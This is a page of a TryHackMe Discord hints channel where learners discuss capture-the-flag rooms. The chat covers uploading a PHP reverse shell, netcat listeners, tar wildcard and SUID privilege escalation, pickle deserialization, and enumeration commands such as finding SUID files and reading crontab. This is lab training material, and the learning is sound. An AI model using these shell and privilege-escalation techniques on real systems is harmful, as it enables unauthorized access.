#room-hints | TryHackMe | Page 104

white salmon Dec 25, 2021, 10:19 PM

#

Just took me some many attempts to realize that :)

forest robin Dec 25, 2021, 10:21 PM

#

ya looks that way, hehe LOT of trial and error fuzzing to find a filename like that

#

maybe if you examined the source and determined the method they use to randomize, you could probably narrow the possibilites to something more manageable

#

might even be 'predictable' based on how they implemented things

white salmon Dec 25, 2021, 10:35 PM

#

forest robin ya looks that way, hehe LOT of trial and error fuzzing to find a filename like t...

Hashid actually is claiming it's a hash. Curious to know if it's accurate... One sec

#

@forest robin wrong. Giving up on this one :)

forest robin Dec 25, 2021, 10:43 PM

#

lol, try crack the hash with fuzzing instead of a wordilst?

white salmon Dec 25, 2021, 10:48 PM

#

forest robin lol, try crack the hash with fuzzing instead of a wordilst?

Hm? I know what the hash is. It's "test.txt" and I created a "wordlist" with that, but hashcat and john claim it's not a hash. hashid does. Whatever 🤷‍♂️

forest robin Dec 25, 2021, 10:49 PM

#

when you make a hash of a file, it uses the file contents not the file name

white salmon Dec 25, 2021, 10:49 PM

#

I did. Made a "wordlist.txt" and wrote "test.txt" in it

#

test.txt is the name of the file I uploaded

forest robin Dec 25, 2021, 10:51 PM

#

hrm..yeah echo "test.txt" | md5sum and nano test.txt (put string "test.txt" inside) then md5sum test.txt yields the same results

#

but that 'hash' from above is of your attachment which contains a reverse shell

#

so...to 'crack' it i would imagine you need to someone put the entire contents of the attachment in a wordlist? lol not sure how this would work

white salmon Dec 25, 2021, 10:52 PM

#

Why? Doesn't the server just hash the filename into this? I would by now think like you it's a random name, but hashid claimes it's a hash.

forest robin Dec 25, 2021, 10:53 PM

#

take a look at the squirrelmail source to see what its doing?

white salmon Dec 25, 2021, 10:54 PM

#

@forest robin I think by now I should have done this already.

#

Just downloaded it

forest robin Dec 25, 2021, 10:55 PM

#

as far as the server hashing the filename (the attachment) its more likely the contents of the file (attachment) is what is being hashed not the string that is the filename

white salmon Dec 25, 2021, 10:55 PM

#

I don't know how much I gain from this. When was the last time you saw Squirrelmail around? I just heard of it thanks to this room :-/

forest robin Dec 25, 2021, 10:56 PM

#

so if you put had an attachment called test.txt that contained the string test.txt...then had another email with another attachement called test.txt and this one contained a php rev shell. The hashes would be different even though the filenames are the same...due to the difference in content

forest robin Dec 25, 2021, 10:56 PM

#

white salmon I don't know how much I gain from this. When was the last time you saw Squirrelm...

lol this is very true

white salmon Dec 25, 2021, 10:57 PM

#

But I am sure Gmail works similar :))

forest robin Dec 25, 2021, 10:57 PM

#

but! whatever squirrelmail is doing, other web based mail things could also be doing it like that?

white salmon Dec 25, 2021, 10:58 PM

#

Well, I downloaded a few web email clients that are open-source. So, hopefully I can compare.

#

BTW, rooting this room was a fun thing. I couldn't get it tho myself.. I looked a bit around. I found the cronjob but didn't know what to do with that.

forest robin Dec 25, 2021, 11:00 PM

#

it was a tar * thing right?

white salmon Dec 25, 2021, 11:01 PM

#

Afterwards, I saw in GTFObins related stuff

forest robin Dec 25, 2021, 11:01 PM

#

ya when i got to that point and gtfobins as no help i googled:

white salmon Dec 25, 2021, 11:01 PM

#

Yeah, that wildcare thing

#

But then in GTFObins in tar under sudo I found the same idea, but at the beginning didn't know how to apply that...

forest robin Dec 25, 2021, 11:01 PM

#

tar exploits
and 1st hit was: https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

Hacking Articles

Raj Chandel

Exploiting Wildcard for Privilege Escalation

In this article, we will cover “Wildcard Injection” an interesting old-school UNIX hacking technique, which is still a successful approach for Post exploitation and even

#

covers a few wildcard (*) exploits, but the tar exploit there worked for me

white salmon Dec 25, 2021, 11:03 PM

#

btw, how do you increase the number of lines to scroll in tmux? @forest robin I have a limit of 1900 or something

#

I changed it in the terminal settings but in tmux it did not change

forest robin Dec 25, 2021, 11:03 PM

#

in ~/.tmux.conf (which may not exist)

#

put this: set -g history-limit 10000

#

change that 10000 to whatever scrollback you want

white salmon Dec 25, 2021, 11:04 PM

#

oh, great, had a hard time with linpeas.sh

#

now, how to you quit pspy64 without losing the shell?

forest robin Dec 25, 2021, 11:04 PM

#

i also put this line: set -g allow-rename off

#

so tmux doesnt rename panes

#

i also remapped the default from ctrl+b to ctrl+o

#

as ctrl+b is among some other keyboard shortcuts for moving the cursor around in the terminal

#

ctrl+b to go back a char, ctrl+f to go forward a char, ctrl+a, ctrl+e to go beginning / end respectivly

#

alt+f, alt+b to go forward / back by word

#

alt+d to delete word

#

if you know emacs these are all emacs shorcuts

#

and they seem to work in all linux

white salmon Dec 25, 2021, 11:08 PM

#

does this work in a nc shell? can't move around with my cursor at all

forest robin Dec 25, 2021, 11:08 PM

#

nc shell those shorctuts will not work

#

in tmux ctrl+[ to start the 'editor' ? mode has a little yellow box in the upper right corner, then you can navigate around using emacs shortcuts

white salmon Dec 25, 2021, 11:09 PM

#

And is there a way of aborting pspy64 without losing the shell?!

forest robin Dec 25, 2021, 11:09 PM

#

copy / paste from that without using mouse

#

you dont upgrade your shell with that whole python -c import 'pty.spawn("/bin/bash")' ctrl+z, some other stuff to do

#

if you do that, then ctrl+c and ctrl+l etc work fine

#

isntead of killing the reverse shell

#

also try something called rlwrap

#

rlwrap nc -lvnp 4444, creates a more stable netcat, and things like up arrow to scroll through command history work

white salmon Dec 25, 2021, 11:11 PM

#

One sec, if a upgrade my shell, CTRL+C does not work for me, it kills my shell

white salmon Dec 25, 2021, 11:13 PM

#

forest robin rlwrap nc -lvnp 4444, creates a more stable netcat, and things like up arrow to ...

great. installed now. I'll try it out next.

#

Sometimes the shell is telling me that "THEMES" or something not installed. Don't remember what. Occurs when running "clear"

forest robin Dec 25, 2021, 11:18 PM

#

probably something related to a config on the server

fleet swan Dec 26, 2021, 3:34 AM

#

Hi all, I'm on overpass2, the last question(root flag) and am stuck. I read the hint and have looked through the pcap and the machine under james, but am missing the root back door. Any hints?

fleet swan Dec 26, 2021, 5:02 AM

#

So I got it, but what does the ||-p|| flag do at ||./.suid_bash -p||, I ended up having to go to a walkthrough to get the -p and can't find what it means.

dark kettle Dec 26, 2021, 5:09 AM

#

maybe opens shell as root

fleet swan Dec 26, 2021, 5:11 AM

#

What man pages would I find that flag in?

#

I executed the || ./.suid_bash ||, but whoami was still james, only adding that -p allowed popped me into root

#

And I don't understand why.

fleet swan Dec 26, 2021, 5:54 AM

#

-p privileged Script runs as "suid" (caution!) Source: https://tldp.org/LDP/abs/html/options.html

white salmon Dec 26, 2021, 7:04 AM

#

fleet swan And I don't understand why.

There was a discussion about this not long ago here.
#room-hints message
Hopefully, it helps.

red sandal Dec 26, 2021, 2:09 PM

#

#

nice box

white salmon Dec 26, 2021, 2:54 PM

#

Hello everybody im working on Scripting room in task 2 but i can't go through this is somebody who could help me or give me advice ?

left thunder Dec 26, 2021, 3:00 PM

#

white salmon Hello everybody im working on Scripting room in task 2 but i can't go through th...

Didn't you already asked that question 🤔 ?

white salmon Dec 26, 2021, 3:02 PM

#

Yes i did, but it isn't important already i found whole code i will copy and paste i will try understand every line of code

hasty zodiac Dec 26, 2021, 3:08 PM

#

can anyone help with AoC3?
The AWS portion
What is the database password stored in Secrets Manager?

#

I listed the secrets

#

but can't find the value

#

#

the output

left thunder Dec 26, 2021, 3:12 PM

#

hasty zodiac but can't find the value

You have to specify the secret you want to retrieve the value from with a specific secretsmanager command.

hasty zodiac Dec 26, 2021, 3:17 PM

#

Could not connect to the endpoint URL: "https://secretsmanager.us-north-1.amazonaws.com/"

#

welp

hasty zodiac Dec 26, 2021, 3:20 PM

#

left thunder You have to specify the secret you want to retrieve the value from with a specif...

||us-north-1|| region just doesn't work for the secrets manager

#

it's like the region doesn't exist

left thunder Dec 26, 2021, 3:21 PM

#

hasty zodiac ||us-north-1|| region just doesn't work for the secrets manager

Then it's either not existing or simply not the correct one

#

Use google to get a list of available regions

hasty zodiac Dec 26, 2021, 3:23 PM

#

left thunder Use google to get a list of available regions

eh, task kinda misleading, found it

left thunder Dec 26, 2021, 3:24 PM

#

hasty zodiac eh, task kinda misleading, found it

Mh, not sure what's misleading, but glad you found it.

hasty zodiac Dec 26, 2021, 3:30 PM

#

left thunder Mh, not sure what's misleading, but glad you found it.

Well, it's just supposed to be about cloud not gathering intelligence like the available regions

left thunder Dec 26, 2021, 3:34 PM

#

hasty zodiac Well, it's just supposed to be about cloud not gathering intelligence like the a...

I mean if you don't know the available regions then you will have to look it up, there will be nearly always something you will have to look up and looking up the available regions doesn't seem to be a hard task, so 😄

hasty zodiac Dec 26, 2021, 3:39 PM

#

left thunder I mean if you don't know the available regions then you will have to look it up,...

true, just my lack of aws knowledge

tardy hornet Dec 26, 2021, 5:12 PM

#

Hi! I stuck at the task 6 question 1 in phising emails 1. Can I get a hint?

white salmon Dec 26, 2021, 6:00 PM

#

Yo @nocturne wyvern you on task26?

nocturne wyvern Dec 26, 2021, 6:01 PM

#

Yeeees!

#

Hi, in this challenge, https://tryhackme.com/room/owasptop10
In TASK 26, why do i have to run the python code to get the base64 of the reverse shell with python pickle ? Why cant i just create a bash reverse shell and turn that to base64 ?

TryHackMe

TryHackMe | OWASP Top 10

Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks.

#

Thats my question

#

@white salmon

white salmon Dec 26, 2021, 6:06 PM

#

Have you read the information provided properly? I want you to read it again and if you've got any confusion then you can hit me up later in the DMs

#

@nocturne wyvern

#

There is a reason for the exploit to be encoded

nocturne wyvern Dec 26, 2021, 6:08 PM

#

No that's fine

#

Its there in the instructions + the server stores it in encoded so reads it after decoding (executes it after decoding)

#

That i understood

#

But like why use python and all that

#

There has to be some specific reason to use python to get the payload

white salmon Dec 26, 2021, 6:10 PM

#

Oh I got it

nocturne wyvern Dec 26, 2021, 6:11 PM

#

Woah please tell me

#

psyDuck

stuck fractal Dec 26, 2021, 6:11 PM

#

nocturne wyvern There has to be some specific reason to use python to get the payload

Because the server is python

#

It needs to be a python object

nocturne wyvern Dec 26, 2021, 6:12 PM

#

The string needs to be a python object ?

stuck fractal Dec 26, 2021, 6:12 PM

#

Read up about the pickle library and when it's dangerous. There would be no reason for it to run bash code.

nocturne wyvern Dec 26, 2021, 6:12 PM

#

So the server is expecting an object

#

Yes exactly

#

Ok i will read

stuck fractal Dec 26, 2021, 6:12 PM

#

nocturne wyvern The string needs to be a python object ?

No. The string is the base64 representation of a serialised python object

#

That python object has a method defined which you put your payload in.

white salmon Dec 26, 2021, 6:13 PM

#

The cookie is retrieved and deserialized via pickle.loads as you can see the code is written in Python that means the server is also written in Python the validation and all that so to exploit this Python is used.

nocturne wyvern Dec 26, 2021, 6:13 PM

#

But in the python code, they are using bash to generate the reverse shell

#

:(

#

So i thought i might as well do that

white salmon Dec 26, 2021, 6:14 PM

#

The code was imported from sys library of python

nocturne wyvern Dec 26, 2021, 6:14 PM

#

stuck fractal No. The string is the base64 representation of a serialised python object

This, how did you know that ?

stuck fractal Dec 26, 2021, 6:15 PM

#

nocturne wyvern This, how did you know that ?

You learn it through your app recon
You're told.

nocturne wyvern Dec 26, 2021, 6:16 PM

#

But if im not told, would it still be possible to guess what the cookie represented ?

white salmon Dec 26, 2021, 6:16 PM

#

We are using system commands to spawn a shell via python with the help of sys library

nocturne wyvern Dec 26, 2021, 6:16 PM

#

white salmon We are using system commands to spawn a shell via python with the help of sys li...

Alright it seems i got to do some reading

stuck fractal Dec 26, 2021, 6:17 PM

#

nocturne wyvern But if im not told, would it still be possible to guess what the cookie represen...

Perhaps, have you tried?
Usually, session cookies are just random bytes. Sometimes JWT are used which are signed JSON objects. If the encoded data looks to be something interesting and isn't random bytes or JWT, it's certainly something you should poke at more.

nocturne wyvern Dec 26, 2021, 6:17 PM

#

Alright thats it

#

Thanks

#

And i'll do some reading tomorrow

#

Hope i understand it fully

stuck fractal Dec 26, 2021, 6:18 PM

#

https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html this is a good read to learn more about sessions and handling them sensibly

Session Management - OWASP Cheat Sheet Series

Website with the collection of all the cheat sheets of the project.

nocturne wyvern Dec 26, 2021, 6:19 PM

#

Thanks for the link

#

vent

nocturne stag Dec 26, 2021, 6:26 PM

#

Can someone tell me why in Common Linux Priv Esc its saying permission denied when I write to the passwd file?

stuck fractal Dec 26, 2021, 6:27 PM

#

Show us what you're doing

nocturne stag Dec 26, 2021, 6:28 PM

#

Q5: Now, simply add that entry to the end of the /etc/passwd file

#

Then says permissions denied.

stuck fractal Dec 26, 2021, 6:30 PM

#

nocturne stag Then says permissions denied.

SHOW us, screenshots. We don't know what you're doing, so we can't possibly tell you what you're doing wrong.

nocturne stag Dec 26, 2021, 6:31 PM

#

ok thanks

#

I got it was a mistake in switching to the root user. Thanks again

hasty zodiac Dec 26, 2021, 7:48 PM

#

hey guys, doing the retro room and trying the ||hhupd|| and I get here (attached screenshot) but it doesn't open the browser

#

or doesn't let me choose the browser

#

I am using attackbox and xfreerdp

#

xfreerdp /u:redacted /p:redacted /v:10.10.177.221

hasty zodiac Dec 26, 2021, 8:20 PM

#

welp, I just used a different exploit

#

pepeshrug

graceful depot Dec 26, 2021, 11:42 PM

#

What is the verification code for me to hack Bookface?

earnest zenith Dec 26, 2021, 11:43 PM

#

What steps did you take to find the verification code?

#

@graceful depot

graceful depot Dec 26, 2021, 11:49 PM

#

I'm new to hacking, but I went to the Buertr force tool and didn't know what to do next

#

I tried to guess it but it didn't work

#

Can you help me?

obtuse brook Dec 27, 2021, 12:17 AM

#

Start at a room/module aimed at your skill level is the best advice available in this circumstance. @graceful depot

stuck fractal Dec 27, 2021, 12:42 AM

#

obtuse brook Start at a room/module aimed at your skill level is the best advice available in...

Funnily enough, the idea is that room is an intro to THM and hacking

obtuse brook Dec 27, 2021, 12:56 AM

#

stuck fractal Funnily enough, the idea is that room is an intro to THM and hacking

I'll see when I get to that room I guess.
I just did the fundamentals rooms yesterday x'D

stuck fractal Dec 27, 2021, 12:56 AM

#

Not sure that it's in a path

obtuse brook Dec 27, 2021, 12:56 AM

#

nod

#

AoC3 was good at showing how to use a tool before asking you to use it.
Since I've started doing the normal rooms there's a lot more "Google it".

But with guidance on what you're looking for from Google, which is as useful as knowing the concepts, but not the tools honestly. So works well for people who want to understand what they're doing.

stuck fractal Dec 27, 2021, 12:59 AM

#

obtuse brook AoC3 was good at showing how to use a tool before asking you to use it. Since I'...

That last bit is what hacking is all about

nocturne stag Dec 27, 2021, 2:46 AM

#

How do I post the command I am suppose to use with out posting the answer in the chat?

obtuse brook Dec 27, 2021, 2:55 AM

#

You can post as a spoiler between a pair of pipes on either side || spoiled message ||
||Spoiler alert!||

nocturne stag Dec 27, 2021, 2:57 AM

#

ok thanks

#

Can someone tell me why my reverse shell from the crontab connected but I cant do any commands?

#

Tryed it again and it worked for some reason

obtuse brook Dec 27, 2021, 3:00 AM

#

Hmm, interesting, connection received, but it doesn't appear to be presenting a shell.
What command/attack script are you using to open the rsh?

#

LOL fair.

#

I'm having a heck of a time with meterpreter right now. Looks like your shelless nc receive every time -_-;'

nocturne stag Dec 27, 2021, 3:01 AM

#

#

worked lol

#

THM struggle is real but when it works its the best.

#

I use the attack box but gonna try open vpn soon

#

I hear its better

obtuse brook Dec 27, 2021, 3:04 AM

#

I tried to switch to the attackbox because my VPN box is where I'm having trouble, and I couldn't get the attackbox to load x'D

#

I wonder if AoC3 just has the usership spiked enough that we're exceeding expected resources.

#

Someone tried to give me a 1month subscription code, but it didn't work.

nocturne stag Dec 27, 2021, 3:04 AM

#

Firewall blocking?

#

THM is the best $10 I spent in years.

obtuse brook Dec 27, 2021, 3:05 AM

#

Yeah, I'm definitely going to subscribe.

#

They deserve the support.

#

Just wanted to get some of the low hanging fruit out of the way.

#

So here I am fighting with Blue.

nocturne stag Dec 27, 2021, 3:05 AM

#

I done DVWA app and few other courses but the walk through and explaining things is great on THM and the content is recent.

obtuse brook Dec 27, 2021, 3:06 AM

#

I've got all the flags, but I can't do the darn hash crack because I can't get meterpreter running.

nocturne stag Dec 27, 2021, 3:06 AM

#

try another hasher?

obtuse brook Dec 27, 2021, 3:07 AM

#

Thinking about it. If I can't do it the way the room wants, I'll have to figure out how to push mimikatz to the box.

nocturne stag Dec 27, 2021, 3:11 AM

#

Can always revisit a room later on and try again.

unique oyster Dec 27, 2021, 3:11 AM

#

anyone familiar with the RootMe room?

obtuse brook Dec 27, 2021, 3:15 AM

#

That's true, but I'm a stubborn sucker 😄

obtuse brook Dec 27, 2021, 4:36 AM

#

All that fighting... I ran update && upgrade on my system, and it just bloody works when done.

white salmon Dec 27, 2021, 8:14 AM

#

unique oyster anyone familiar with the RootMe room?

I've done it a while ago. What's your question?

unique oyster Dec 27, 2021, 8:17 AM

#

@white salmon Well, I seem to have a problem with getting nc to hear the request. I changed the script to both php5 and phtml, uploaded it to the panel, execute it form the uploads page, but I get an error failed to deamonnize etc. on the attackbox it stays as listening on the port. Tried switching ports on both the AB and in the scirpt..but to no avial.

#

WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111) tryhackme

white salmon Dec 27, 2021, 8:20 AM

#

unique oyster <@456226577798135808> Well, I seem to have a problem with getting nc to hear the...

Have you changed the IP in the .php script to the IP of the attacking machine?

unique oyster Dec 27, 2021, 8:20 AM

#

yes sir.

white salmon Dec 27, 2021, 8:20 AM

#

unique oyster yes sir.

Let me try it myself quickly.

unique oyster Dec 27, 2021, 8:20 AM

#

changed both the IP and the port...changed the port several times

white salmon Dec 27, 2021, 8:21 AM

#

Even tho I am using a VM and not the AB.

unique oyster Dec 27, 2021, 8:21 AM

#

principal is the same I'm sure

white salmon Dec 27, 2021, 8:21 AM

#

@unique oyster Should be. Let me try.

#

@unique oyster Just tried it and it works. Which .php script are you using?
I use https://github.com/pentestmonkey/php-reverse-shell

GitHub

GitHub - pentestmonkey/php-reverse-shell

Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.

#

Did you launch the shell by visiting /uploads/yourfiles.name?

unique oyster Dec 27, 2021, 8:29 AM

#

yup, thats the one I used as well. I first changed the php to php5 and uploaded successfully (after changing IP and port) then changed it to phtml. Visited uploads and clicked on myfile..then I get that error. Not sure what I am doing wrong..spent so much time on it that my box terminated. LOL

white salmon Dec 27, 2021, 8:34 AM

#

unique oyster yup, thats the one I used as well. I first changed the php to php5 and uploaded...

Sorry. Can't think of anything else. 🤷‍♂️ The extension does not really matter if it's php5 or phtml. Anything that does not get filtered should work.

#

And the nc listener is running before you clicked the reverse-shell file?

unique oyster Dec 27, 2021, 8:35 AM

#

OK. I appreciate the assistance. I will have to try later today...gotta get ready to go to work. Yeah, had the nc listening before executing the code

white salmon Dec 27, 2021, 8:35 AM

#

@unique oyster OK. Have a good one.

dim owl Dec 27, 2021, 3:49 PM

#

Hi I need more hint room ctf100 flag 31 😦

unique oyster Dec 27, 2021, 10:01 PM

#

@white salmon well, worked perfectly this afternoon...so, IDK. But I appreciate you looking into it. Thanks.

green minnowBOT Dec 27, 2021, 10:01 PM

#

Gave +1 Rep to @versed shadow

fleet swan Dec 28, 2021, 1:03 AM

#

Hi all, I'm in relevant and have gotten the ||passwords.txt|| and decoded them. I'm looking at ||https://www.exploit-db.com/exploits/44453||, but getting all kind of blockades since this is python2, can anyone tell me if I'm heading in the right direction?

stuck fractal Dec 28, 2021, 1:55 AM

#

fleet swan Hi all, I'm in relevant and have gotten the ||passwords.txt|| and decoded them. ...

Please don't ask the same question over #room-hints and #room-help at the same time. If you want a check of direction or a sanity check then ask here. #room-help is for when you've read the writeups and still need help.

fleet swan Dec 28, 2021, 1:56 AM

#

stuck fractal Please don't ask the same question over <#690557518837186560> and <#522158539129...

Thanks for the clarification on the intended purpose for each room, will do so in the future.

green minnowBOT Dec 28, 2021, 1:56 AM

#

Gave +1 Rep to @stuck fractal

long herald Dec 28, 2021, 8:50 AM

#

I'm stuck on this question from BurpSuiteBasics Task13. Can i get a nudge? Thanks 🙂

#

Ah i was dumb, didn't read the Question carefullt, I got it 🙂

blissful geode Dec 28, 2021, 11:01 AM

#

Hi guys having an issue with bloodhoun with no database

#

anyone encountered the same issue?

#

Thanks

blissful geode Dec 28, 2021, 1:03 PM

#

Found the solution to this

crude summit Dec 28, 2021, 3:04 PM

#

Hi Guys, am in network room and trying to exploit SMB. I got logged in successfully but not sure how to read the files

#

pls someone guide me on this

left thunder Dec 28, 2021, 3:27 PM

#

crude summit pls someone guide me on this

You could for example try to download a specific file and then read it's contents in your usual cli

crimson light Dec 28, 2021, 3:50 PM

#

Guys, what do you do when chattr command is not found...

#

like i try to locate it but the only thing i gat is an archive like chattr1....gz

crude summit Dec 28, 2021, 4:38 PM

#

left thunder You could for example try to download a specific file and then read it's content...

Then I think initiate a listing port in remote shell and then reverse shell it to my host to have access to the target to read. is that correct?

left thunder Dec 28, 2021, 4:42 PM

#

crude summit Then I think initiate a listing port in remote shell and then reverse shell it t...

No, you can just use the available commands from smbclient to download the file.

static gust Dec 28, 2021, 5:56 PM

#

https://tryhackme.com/room/ccpentesting
Anyone know which wordlist to use for the last question in Task 4?

TryHackMe

TryHackMe | CC: Pen Testing

A crash course on various topics in penetration testing

alpine kestrel Dec 28, 2021, 5:58 PM

#

static gust https://tryhackme.com/room/ccpentesting Anyone know which wordlist to use for th...

have you read the man page??? if you have here is a hint on what to look at ||-x|| otherwise go read the man page

static gust Dec 28, 2021, 5:59 PM

#

alpine kestrel have you read the man page??? if you have here is a hint on what to look at ||-x...

Yep I'm using -x right now

#

but the wordlist im using doesn't seem to have found anything yet

#

except the directory (second last question)

#

this is the command I'm using

#

i'll try the list from seclist

alpine kestrel Dec 28, 2021, 6:00 PM

#

shadow sees a error

#

there is a missing .

static gust Dec 28, 2021, 6:02 PM

#

bruh

#

one sec lemme try with .

#

we're only specifying extensions why they need a . too 😭

#

hmm this was without the .

#

this is with the .

#

i think it works without the . too

alpine kestrel Dec 28, 2021, 6:04 PM

#

maybe ¯_(ツ)_/¯

static gust Dec 28, 2021, 6:05 PM

#

#

with seclists 😔

#

ah found it with /usr/share/wordlists/dirb/common.txt

urban geyser Dec 28, 2021, 7:53 PM

#

Hey everyone, I’m in room “The find command” and I’m stuck on Task 2, When trying to find all files whose name ends with “.xml”…. I’ve tried: find -type f “xml”, find -type f “.xml”, and with “-name” as well but I get a prompt saying that a path must precede the “.xml”, any hints please, nooby here trying to understand and learn commands 😁

rancid estuary Dec 28, 2021, 8:12 PM

#

hi guys why is crontab behaving like this?

cedar anvil Dec 28, 2021, 8:13 PM

#

crontab -l

#

@rancid estuary

rancid estuary Dec 28, 2021, 8:13 PM

#

oh thx

#

why is it?

cedar anvil Dec 28, 2021, 8:14 PM

#

crontab is an application you have to provide some option

forest robin Dec 28, 2021, 8:14 PM

#

@urban geyser try: find / -name "*.xml" -type f

rancid estuary Dec 28, 2021, 8:14 PM

#

but why it blocks when u dont pass an option

cedar anvil Dec 28, 2021, 8:15 PM

#

it just waits expecting some option, I guess, that you didn't provide

static gust Dec 28, 2021, 8:55 PM

#

Could someone give a hint on how to get the root.txt in ccpentesting final exam?

#

I'm currently SSHed into a user account

#

so i'm assuming I need to escalate privileges

#

3/4 of the links they provided for linux privileges escalation in previous tasks are scripts and there's no internet access on the box

#

I'm about to read through the 4th one now

forest robin Dec 28, 2021, 8:57 PM

#

havent done that one yet, but:
find -type f -perm -u=s 2>/dev/null && sudo -l && cat /etc/crontab good place to start looking for privesc

static gust Dec 28, 2021, 9:00 PM

#

forest robin havent done that one yet, but: find -type f -perm -u=s 2>/dev/null && sudo -l &&...

What does that do? it listed a few files for me

#

a problem for tmrw, im gonna go rest now 😂

#

i cheated 😔

#

looked at a writeup, turns out it was something i overlooked earlier when i saw it in a file lol

forest robin Dec 28, 2021, 9:11 PM

#

@static gust find <where> flags
so the above command will find /=root directory -type f = only files, -perm -u=s = only suid files, 2>/dev/null redirect errors to dev null

sturdy hearth Dec 28, 2021, 9:11 PM

#

static gust What does that do? it listed a few files for me

# list files with SETUID bit set
# https://gtfobins.github.io/#+suid
find / -type f -perm -u=s 2>/dev/null

# check if you are allowed to run a command as `root` or any other user
# see how `sudoers` file/configuration works
sudo -l

# list cron jobs
# globally configured, there are `/etc/cron.*` directories as well
cat /etc/crontab
# for current user
crontab -l

forest robin Dec 28, 2021, 9:12 PM

#

those 3 commands i always do when getting a shell on a box, can sometimes privesc without having to do linpeas or other enumerations

#

i also like to do cd /home && find . -readable (it will show me any readable files recursivly from /home)

static gust Dec 28, 2021, 9:13 PM

#

Ah I see, thanks

static gust Dec 28, 2021, 9:14 PM

#

static gust looked at a writeup, turns out it was something i overlooked earlier when i saw ...

earlier when i first sshed into it

#

i ran ls -a and saw a file called .bash_history

#

in it was was three commands, one being sudo su

#

but i ignored it

candid token Dec 28, 2021, 9:14 PM

#

u cant ignore sudo su 😂

static gust Dec 28, 2021, 9:14 PM

#

if you check sudo -l it shows that you can run su without password

static gust Dec 28, 2021, 9:14 PM

#

candid token u cant ignore sudo su 😂

💀

forest robin Dec 28, 2021, 9:15 PM

#

why lol, that is probably the privesc

static gust Dec 28, 2021, 9:15 PM

#

yeah it was, i later found out when i checked a write up

candid token Dec 28, 2021, 9:15 PM

#

sudo -l

#

sometimes /etc/passwd and perm with suid bit set and gtfo bins are the ways usually in these challanges

static gust Dec 28, 2021, 9:16 PM

#

i tried checking /etc/passwd and /etc/shadow but had no perms 😔

candid token Dec 28, 2021, 9:16 PM

#

in passwd you sometimes have luck and stored hashes 😄

static gust Dec 28, 2021, 9:17 PM

#

Yeah I thought maybe it wanted me to try crack them

#

but thats how i got access to the user acc in the first place

candid token Dec 28, 2021, 9:17 PM

#

in crontab orsome other indirect read of etc shadow and then crack hashes or just add your own root user is easier then cracking the hashes

candid token Dec 28, 2021, 9:18 PM

#

static gust but thats how i got access to the user acc in the first place

what room?

static gust Dec 28, 2021, 9:18 PM

#

/ccpentesting

candid token Dec 28, 2021, 9:19 PM

#

so you logged in as nyan ?

#

i have poor notes on that one, but it was very fun i neeed to do it again someday

#

but run the linpeas it will help

forest robin Dec 28, 2021, 9:23 PM

#

but you already know the privesc path? sudo su without a password or did i misunderstand you?

dusty crescent Dec 28, 2021, 9:27 PM

#

Anyone else have problem with room Introduction to Django, unit 5 CTF, Hidden flag? Both flags for Admin panel and User work fine, but not the third flag. Even looked into writeups to be sure that I found the correct flag, but it is still not accepted.

Edit: Bad resolution didn't render the characters really well. Now I got the flag approved correctly.

urban geyser Dec 28, 2021, 11:13 PM

#

forest robin <@!790639593984622615> try: find / -name "*.xml" -type f

🙌🏽 awesome thank you!!

green minnowBOT Dec 28, 2021, 11:13 PM

#

Gave +1 Rep to @forest robin

junior wave Dec 29, 2021, 12:03 AM

#

Hi I've been having troubles with getting the flag for the authentication bypass room

#

The answer says that there is a flag in Roberts support ticket but I haven't found one there

#

I've also tried modifying his account details to see if I can log in but it didn't allow me to

left thunder Dec 29, 2021, 12:05 AM

#

junior wave Hi I've been having troubles with getting the flag for the authentication bypass...

So you talking about task 4 ?

junior wave Dec 29, 2021, 12:05 AM

#

Yes I should've specified that

left thunder Dec 29, 2021, 12:06 AM

#

junior wave Yes I should've specified that

So did you create an account ?

junior wave Dec 29, 2021, 12:06 AM

#

Yes

left thunder Dec 29, 2021, 12:07 AM

#

junior wave Yes

And you received the password reset mail to that account?

junior wave Dec 29, 2021, 12:07 AM

#

Yes

left thunder Dec 29, 2021, 12:08 AM

#

junior wave Yes

Can't remember correctly, but in that password reset mail, do you have to set the password for roberts account or is the flag already in that password reset mail ?

junior wave Dec 29, 2021, 12:09 AM

#

left thunder Can't remember correctly, but in that password reset mail, do you have to set th...

The answer says that the flag is in Roberts support ticket

#

Either way I've tried both

left thunder Dec 29, 2021, 12:09 AM

#

junior wave The answer says that the flag is in Roberts support ticket

Could you show me a screen of that password rest mail/ticket you received ?

junior wave Dec 29, 2021, 12:10 AM

#

left thunder Could you show me a screen of that password rest mail/ticket you received ?

left thunder Dec 29, 2021, 12:11 AM

#

junior wave

And after you navigate to that url, you can set the password for roberts account, right ?

junior wave Dec 29, 2021, 12:11 AM

#

Yes

#

I set it and then it returned an error that there's a wrong username or pass

#

When trying to sign in to the account

left thunder Dec 29, 2021, 12:13 AM

#

junior wave When trying to sign in to the account

Could you send me that link and I try it myself ? If you want me to.

junior wave Dec 29, 2021, 12:15 AM

#

Link is: http://10.10.163.16/customers/reset/3f3b7e64393207c4c9d40f52a0588172

#

I'll also terminate the machine in case it interferes with your try

left thunder Dec 29, 2021, 12:16 AM

#

junior wave I'll also terminate the machine in case it interferes with your try

Wait what ? If you terminate the machine I can't try it ^^

junior wave Dec 29, 2021, 12:16 AM

#

...

#

One sec

left thunder Dec 29, 2021, 12:18 AM

#

Ye, let me know when you are back at that point where you received the reset mail. In case it's again not working let me know, but this time don't terminate the machine then 😄

junior wave Dec 29, 2021, 12:18 AM

#

Issue might've resolved itself I don't know why but this time it worked

left thunder Dec 29, 2021, 12:18 AM

#

Alright 🙂

junior wave Dec 29, 2021, 12:18 AM

#

left thunder Ye, let me know when you are back at that point where you received the reset mai...

Thank you anyways though, I thought I was doing something wrong

green minnowBOT Dec 29, 2021, 12:18 AM

#

Gave +1 Rep to @left thunder

earnest light Dec 29, 2021, 11:23 AM

#

Hello guys

#

Hope you’re are having an amazing festive season

crude summit Dec 29, 2021, 1:26 PM

#

left thunder No, you can just use the available commands from smbclient to download the file.

Thanks! it took me a day to figure out that smb cmd executes in binary and we need to include filename having space in quotes "file name" 😩 😫 painful

green minnowBOT Dec 29, 2021, 1:26 PM

#

Gave +1 Rep to @left thunder

silver creek Dec 29, 2021, 2:02 PM

#

Hi can someone gimme a hint of how to solve Q4 What is the content of the flagUSP.txt file?

#

please

white salmon Dec 29, 2021, 2:10 PM

#

